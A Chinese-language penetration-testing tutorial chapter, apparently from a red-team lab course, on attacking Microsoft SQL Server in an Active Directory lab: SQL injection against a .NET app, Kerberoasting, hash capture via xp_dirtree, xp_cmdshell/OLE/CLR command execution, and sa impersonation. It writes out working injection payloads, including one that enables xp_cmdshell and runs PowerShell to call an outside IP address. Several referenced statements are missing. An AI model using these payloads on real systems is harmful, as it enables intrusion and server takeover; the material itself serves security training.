Skip to main content

MSSQL的利用

MSSQL

Microsoft SQL 服务器在 Active Directory 基础设施中很常见,不仅因为 MSSQL 服务器是 Web 应用程序常见的后端数据库服务器,而且还因为它可以与 Active Directory 和 Kerberos 认证无缝集成。在渗透测试或红队活动中,Microsoft SQL 服务器是攻击者的重点目标之一,原因是它通常存储着敏感数据,并且可以为攻击者提供对目标基础设施的访问。当 SQL 服务器集成到 Active Directory 环境中时,诞生了特定的攻击向量。

根据之前的枚举,我们知道在 PROD域、Med-deal 域、以及White-bird 域中都有着 MSSQL 服务器,用户 sql_service 分别是对应域中 SQL 服务器实例的服务帐户。而 Web02 是 .NET 应用程序的后端数据库服务器。


SQL 注入

SQL 注入也是对 MSSQL 攻击的手段之一,最为常见和经典。这是一个回顾,在第 4 章节,我们从 Web 渗透的角度,发现了 Web02 上的 .NET 应用有着 SQL 注入漏洞,并且提取到了一些数据和信息,但是,根据那时候得到的内容,看起来对我们后续渗透并没有很大的帮助,我们会在稍后对之前的 SQL 注入攻击做出延伸。如果忘记了 MSSQL 数据库的重要语句,那么请熟悉一下:

枚举数据库
select name from master..sysdatabases;

枚举表
select TABLE_NAME from [db name].information_schema.tables;

枚举列
select name from syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users')

枚举用户或登录
select user_name(); //Server Login Name
select system_user; //Database User Name
select * from master..syslogins;

修改密码
ALTER LOGIN webapp  WITH PASSWORD = 'Passw0rd';

当前用户或登录是否是sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT NAME from master..syslogins where SYSADMIN=1;

Web02 后端的 SQL 拼接后的语句形如 select * from course where medicine like %txtMedicine or brand like %txtBrand or price <=txtPrice,并无其他的输入过滤,因此,一个触发 SQL 注入的载荷为 pain ' union select system_user,2,3;--。

image.png

当前的登陆为 webapp,并不是 sysadmin,因此,我们暂时不能做出需要更高特权的行为,例如远程代码执行。

pain ' union select is_srvrolemember('sysadmin'),2,3;--

image.png



基于凭证的攻击

考虑到服务帐户 svc_sql 设置了 SPN,因此我们可以对其进行 Kerberoasting,以获取 KRB5TGS 哈希并破解它。如果 svc_sql 的密码不够强大,我们可以破解它。在我们的例子中,svc_sql 的密码(jkhnrjk123!)不在 rockyou 字典中,因此我们无法破解它以获取明文密码。然而,当试图攻击 SQL 服务器服务帐户时,我们应该考虑 Kerberoasting 攻击。

此外,我们可以使用响应者设置一个恶意 SMB 服务器,并使用 xp_dirtree 访问它。这样,响应者将捕获 NetNTLMv2 哈希。原始语句如下


代码执行

xp_cmdshell

如果当前登录是 sysadmin,我们可以在 SQL 服务器上执行任意命令。有多种方法可以实现这一点,最臭名昭著的是 xp_cmdshell。它是 Microsoft SQL Server 的一部分,是一个系统存储过程。它允许用户在 SQL Server 中执行系统命令。这对于运行脚本或与操作系统交互等任务可能很有用。然而,它也可以是一种强大的内置功能来攻击目标 SQL 服务器。

要执行命令,我们应确保配置选项显示高级选项和 xp_cmdshell 是启用的。启用它们的原始语句是:

OLE Automation Procedures

考虑到 xp_cmdshell 因被攻击者滥用而臭名昭著,它受到严格监控。因此,我们应该了解其他方法来执行系统命令。OLE 自动化是一种技术,允许应用程序将对象链接到另一个应用程序。OLE 自动化过程是 SQL Server 中的存储过程,它们提供了对 OLE 自动化对象和方法的访问。这些过程包括 sp_OACreate 和 sp_OAMethod。我们可以使用 sp_OACreate 创建一个 OLE 自动化对象的实例,并使用 sp_OAMethod 调用 OLE 自动化对象的方法。我们可以利用它们来执行系统命令。

我们应该首先通过执行以下语句启用 OLE 自动化:


CLR

我们还可以使用 CLR 来实现系统命令执行。CLR(公共语言运行时)是 .NET 框架提供的运行时环境,使我们能够将 .NET DLL 文件导入到 SQL 服务器并执行 DLL 中的方法。这样做的好处是我们不会将文件写入磁盘。

首先,我们应该通过执行以下语句启用 CLR 并打开 TRUSTYWORTHY 属性:


 

特权提升

在 SQL 注入部分,我们知道当前登陆为 webapp,并不是 sysadmin 的一员,因此不具备执行远程代码的权限。但如果权限被不当配置了,那么有可能存在特权提升的路径,从而使得当前登陆 webapp 获得 sysadmin 的权限,从而实现代码执行等目的。

在 MSSQL,有一个特性被称为模仿 (Impersonation),指的是一个用户/登陆可以以另一个用户/登陆的上下文执行语句。因此,如果登陆 webapp 可以模仿 sa 或其他高特权用户,可以实现特权提升。

仅借助 SQL 查询语句,我们难以查询出当前登陆/用户可以模仿哪些其他登陆/用户,但是我们可以查询出哪些登陆/用户可以被模仿,但是返回的登陆或用户不一定是当前用户可模仿的,可能是其他登陆或用户才可模仿的。

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';

因此,我们可以构造出如下的 SQL 注入载荷查询出哪些登陆或用户可以被模仿:

pain' union SELECT distinct b.name,2,3 FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';--

image.png

我们看到,sa 可以被模仿。那么,sa 可被谁模仿呢,是否可以被当前的 webapp 所模仿?不妨试一试。我们知道,webapp 的权限不足以开启 xp_cmdshell,那么如果我们能模仿 sa,就能以 sa 的上下文开启 xp_cmdshell。通过 execute as login='sa' 命令,我们可以尝试模仿 sa。之后,承接着开启 show advanced options 和 xp_cmdshell 的语句。

pain'; execute as login='sa'; exec sp_configure 'show advanced options', 1; reconfigure; execute as login='sa'; exec sp_configure 'xp_cmdshell', 1; reconfigure; --

最终,我们使用如下语句查询 xp_cmdshell 的状态:

pain' union select value,2,3 from sys.configurations where name='xp_cmdshell';--

image.png

我们发现,模仿 sa 成功了,而且还开启了 xp_cmdshell 了。因此,我们实际上是可以通过利用 .NET 应用的 SQL 注入漏洞获得 RCE 的。关于模仿,在服务器端查看就很直观了。

image.png

最后,我们实际测试一下通过该 SQL 注入达成的 RCE,载荷如下

pain'; execute as login='sa'; exec xp_cmdshell 'powershell iwr http://89.117.62.45:8080/rce'; --

image.png

 

Python HTTP 服务器的 log 有了请求,说明代码执行成功。只是输出并不会显示在网页页面上。

image.png

 

 

 

横向移动

在 Microsoft SQL Server 中,SQL 链接或链接服务器指的是连接到不同服务器上的数据库并查询其数据的能力。这在从多个数据库访问数据时非常有用,但这些数据库位于不同的服务器上。然而,攻击者可以利用它横向移动到其他 SQL 服务器。

我们可以使用 PowerUpSQL、SqlRecon 或原始查询来枚举 SQL 链接。使用 PowerUpSQL,执行以下命令以检查 SQL 链接: